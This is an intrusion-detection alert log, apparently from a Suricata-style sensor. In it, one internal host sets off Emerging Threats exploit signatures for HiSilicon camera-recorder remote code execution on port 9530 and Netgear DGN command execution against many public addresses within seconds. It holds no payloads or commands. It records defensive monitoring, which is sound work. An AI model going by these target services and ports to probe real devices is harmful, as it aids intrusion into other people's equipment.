Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 164.93.227.8

Timestamp:	05/16/24-16:39:14.529066
SID:	2030487
Source Port:	48320
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.93.227.8

Timestamp:	05/16/24-16:39:14.529066
SID:	2030488
Source Port:	48320
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 153.231.12.216

Timestamp:	05/16/24-16:39:16.580847
SID:	2030487
Source Port:	55820
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 153.231.12.216

Timestamp:	05/16/24-16:39:16.580847
SID:	2030488
Source Port:	55820
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 136.21.186.242

Timestamp:	05/16/24-16:39:12.382897
SID:	2030487
Source Port:	37086
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 136.21.186.242

Timestamp:	05/16/24-16:39:12.382897
SID:	2030488
Source Port:	37086
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 83.52.52.184

Timestamp:	05/16/24-16:38:53.410466
SID:	2029215
Source Port:	42022
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 181.244.7.4

Timestamp:	05/16/24-16:39:14.491081
SID:	2030487
Source Port:	52916
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 140.187.110.92

Timestamp:	05/16/24-16:39:02.726943
SID:	2030487
Source Port:	41908
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 140.187.110.92

Timestamp:	05/16/24-16:39:02.726943
SID:	2030488
Source Port:	41908
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 39.166.32.164

Timestamp:	05/16/24-16:39:08.041755
SID:	2030487
Source Port:	48320
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 64.181.4.218

Timestamp:	05/16/24-16:39:08.041051
SID:	2030487
Source Port:	48512
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 64.181.4.218

Timestamp:	05/16/24-16:39:08.041051
SID:	2030488
Source Port:	48512
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 108.132.3.216

Timestamp:	05/16/24-16:39:08.146548
SID:	2030487
Source Port:	47544
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 152.209.143.121

Timestamp:	05/16/24-16:39:12.380121
SID:	2030488
Source Port:	50050
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 108.132.3.216

Timestamp:	05/16/24-16:39:08.146548
SID:	2030488
Source Port:	47544
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 152.209.143.121

Timestamp:	05/16/24-16:39:12.380121
SID:	2030487
Source Port:	50050
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 39.166.32.164

Timestamp:	05/16/24-16:39:08.041755
SID:	2030488
Source Port:	48320
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 132.57.165.75

Timestamp:	05/16/24-16:38:55.174990
SID:	2030488
Source Port:	51320
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 4.166.75.134

Timestamp:	05/16/24-16:39:14.493541
SID:	2030488
Source Port:	33464
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 133.191.22.104

Timestamp:	05/16/24-16:39:14.531166
SID:	2030487
Source Port:	58058
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 132.57.165.75

Timestamp:	05/16/24-16:38:55.174990
SID:	2030487
Source Port:	51320
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 4.166.75.134

Timestamp:	05/16/24-16:39:14.493541
SID:	2030487
Source Port:	33464
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 133.191.22.104

Timestamp:	05/16/24-16:39:14.531166
SID:	2030488
Source Port:	58058
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 196.78.54.122

Timestamp:	05/16/24-16:39:02.744340
SID:	2030487
Source Port:	59246
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 196.78.54.122

Timestamp:	05/16/24-16:39:02.744340
SID:	2030488
Source Port:	59246
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 116.149.110.52

Timestamp:	05/16/24-16:39:12.383619
SID:	2030488
Source Port:	47530
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 118.99.17.38

Timestamp:	05/16/24-16:39:05.675922
SID:	2030487
Source Port:	53884
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 118.99.17.38

Timestamp:	05/16/24-16:39:05.675922
SID:	2030488
Source Port:	53884
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 116.149.110.52

Timestamp:	05/16/24-16:39:12.383619
SID:	2030487
Source Port:	47530
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 103.3.12.251

Timestamp:	05/16/24-16:38:57.429272
SID:	2030488
Source Port:	54042
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 45.135.139.137

Timestamp:	05/16/24-16:39:05.698705
SID:	2030488
Source Port:	43982
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 103.3.12.251

Timestamp:	05/16/24-16:38:57.429272
SID:	2030487
Source Port:	54042
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 45.135.139.137

Timestamp:	05/16/24-16:39:05.698705
SID:	2030487
Source Port:	43982
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 153.210.180.213

Timestamp:	05/16/24-16:38:59.558465
SID:	2030488
Source Port:	38256
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 153.210.180.213

Timestamp:	05/16/24-16:38:59.558465
SID:	2030487
Source Port:	38256
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.32.229.17

Timestamp:	05/16/24-16:39:02.725564
SID:	2030488
Source Port:	57166
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 82.32.229.17

Timestamp:	05/16/24-16:39:02.725564
SID:	2030487
Source Port:	57166
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 138.21.71.24

Timestamp:	05/16/24-16:39:16.582506
SID:	2030487
Source Port:	40574
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 24.161.242.141

Timestamp:	05/16/24-16:39:16.613591
SID:	2030487
Source Port:	40412
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 138.21.71.24

Timestamp:	05/16/24-16:39:16.582506
SID:	2030488
Source Port:	40574
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 24.161.242.141

Timestamp:	05/16/24-16:39:16.613591
SID:	2030488
Source Port:	40412
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 45.63.138.168

Timestamp:	05/16/24-16:38:55.193157
SID:	2030487
Source Port:	33126
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 45.63.138.168

Timestamp:	05/16/24-16:38:55.193157
SID:	2030488
Source Port:	33126
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 18.23.190.147

Timestamp:	05/16/24-16:39:08.124536
SID:	2030487
Source Port:	51318
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 18.23.190.147

Timestamp:	05/16/24-16:39:08.124536
SID:	2030488
Source Port:	51318
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 74.40.83.197

Timestamp:	05/16/24-16:39:05.676380
SID:	2030487
Source Port:	48516
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 74.40.83.197

Timestamp:	05/16/24-16:39:05.676380
SID:	2030488
Source Port:	48516
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 123.122.204.0

Timestamp:	05/16/24-16:39:12.400580
SID:	2030488
Source Port:	50518
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 123.122.204.0

Timestamp:	05/16/24-16:39:12.400580
SID:	2030487
Source Port:	50518
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 143.158.148.204

Timestamp:	05/16/24-16:39:08.128023
SID:	2030488
Source Port:	34126
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 143.158.148.204

Timestamp:	05/16/24-16:39:08.128023
SID:	2030487
Source Port:	34126
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 166.28.161.159

Timestamp:	05/16/24-16:39:08.146144
SID:	2030487
Source Port:	48678
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 166.28.161.159

Timestamp:	05/16/24-16:39:08.146144
SID:	2030488
Source Port:	48678
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 142.31.206.92

Timestamp:	05/16/24-16:39:08.124554
SID:	2030488
Source Port:	43494
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 142.31.206.92

Timestamp:	05/16/24-16:39:08.124554
SID:	2030487
Source Port:	43494
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 81.47.82.230

Timestamp:	05/16/24-16:38:53.098226
SID:	2030488
Source Port:	39282
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 81.47.82.230

Timestamp:	05/16/24-16:38:53.098226
SID:	2030487
Source Port:	39282
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 103.216.119.208

Timestamp:	05/16/24-16:39:14.527632
SID:	2030488
Source Port:	48500
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 103.216.119.208

Timestamp:	05/16/24-16:39:14.527632
SID:	2030487
Source Port:	48500
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 52.98.74.230

Timestamp:	05/16/24-16:38:50.052449
SID:	2030488
Source Port:	38590
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 52.98.74.230

Timestamp:	05/16/24-16:38:50.052449
SID:	2030487
Source Port:	38590
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 39.205.183.227

Timestamp:	05/16/24-16:39:03.263559
SID:	2030487
Source Port:	34478
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 39.205.183.227

Timestamp:	05/16/24-16:39:03.263559
SID:	2030488
Source Port:	34478
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 100.253.90.106

Timestamp:	05/16/24-16:39:16.603474
SID:	2030487
Source Port:	51708
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 100.253.90.106

Timestamp:	05/16/24-16:39:16.603474
SID:	2030488
Source Port:	51708
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 171.140.101.64

Timestamp:	05/16/24-16:39:05.677612
SID:	2030487
Source Port:	46374
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.140.101.64

Timestamp:	05/16/24-16:39:05.677612
SID:	2030488
Source Port:	46374
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 48.163.68.222

Timestamp:	05/16/24-16:39:05.675869
SID:	2030488
Source Port:	39156
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 136.117.102.123

Timestamp:	05/16/24-16:39:14.532663
SID:	2030488
Source Port:	55502
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 136.117.102.123

Timestamp:	05/16/24-16:39:14.532663
SID:	2030487
Source Port:	55502
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 48.163.68.222

Timestamp:	05/16/24-16:39:05.675869
SID:	2030487
Source Port:	39156
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 83.124.111.176

Timestamp:	05/16/24-16:39:01.473860
SID:	2029215
Source Port:	59392
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 174.40.90.116

Timestamp:	05/16/24-16:38:57.411063
SID:	2030488
Source Port:	52556
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 42.151.101.178

Timestamp:	05/16/24-16:38:53.065584
SID:	2030487
Source Port:	54278
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 174.40.90.116

Timestamp:	05/16/24-16:38:57.411063
SID:	2030487
Source Port:	52556
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 126.183.175.72

Timestamp:	05/16/24-16:39:12.401718
SID:	2030488
Source Port:	39548
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 42.151.101.178

Timestamp:	05/16/24-16:38:53.065584
SID:	2030488
Source Port:	54278
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 126.183.175.72

Timestamp:	05/16/24-16:39:12.401718
SID:	2030487
Source Port:	39548
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 126.82.236.114

Timestamp:	05/16/24-16:38:59.557747
SID:	2030488
Source Port:	36534
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 92.150.223.178

Timestamp:	05/16/24-16:39:16.604439
SID:	2030487
Source Port:	40718
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 126.82.236.114

Timestamp:	05/16/24-16:38:59.557747
SID:	2030487
Source Port:	36534
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 210.93.222.93

Timestamp:	05/16/24-16:39:05.675970
SID:	2030488
Source Port:	49878
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 113.18.66.68

Timestamp:	05/16/24-16:39:12.295419
SID:	2030488
Source Port:	48382
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 210.93.222.93

Timestamp:	05/16/24-16:39:05.675970
SID:	2030487
Source Port:	49878
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 113.18.66.68

Timestamp:	05/16/24-16:39:12.295419
SID:	2030487
Source Port:	48382
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 92.150.223.178

Timestamp:	05/16/24-16:39:16.604439
SID:	2030488
Source Port:	40718
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 204.59.62.37

Timestamp:	05/16/24-16:38:59.584481
SID:	2030487
Source Port:	38418
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 204.59.62.37

Timestamp:	05/16/24-16:38:59.584481
SID:	2030488
Source Port:	38418
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 17.44.31.52

Timestamp:	05/16/24-16:39:12.384504
SID:	2030487
Source Port:	33202
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 17.44.31.52

Timestamp:	05/16/24-16:39:12.384504
SID:	2030488
Source Port:	33202
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 38.243.42.18

Timestamp:	05/16/24-16:39:12.382139
SID:	2030488
Source Port:	55558
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 38.243.42.18

Timestamp:	05/16/24-16:39:12.382139
SID:	2030487
Source Port:	55558
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 12.203.201.102

Timestamp:	05/16/24-16:38:57.411448
SID:	2030488
Source Port:	42438
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 12.203.201.102

Timestamp:	05/16/24-16:38:57.411448
SID:	2030487
Source Port:	42438
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 207.226.253.81

Timestamp:	05/16/24-16:38:50.080375
SID:	2030488
Source Port:	35468
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 207.226.253.81

Timestamp:	05/16/24-16:38:50.080375
SID:	2030487
Source Port:	35468
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 1.145.61.99

Timestamp:	05/16/24-16:39:05.711693
SID:	2030487
Source Port:	43790
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 1.145.61.99

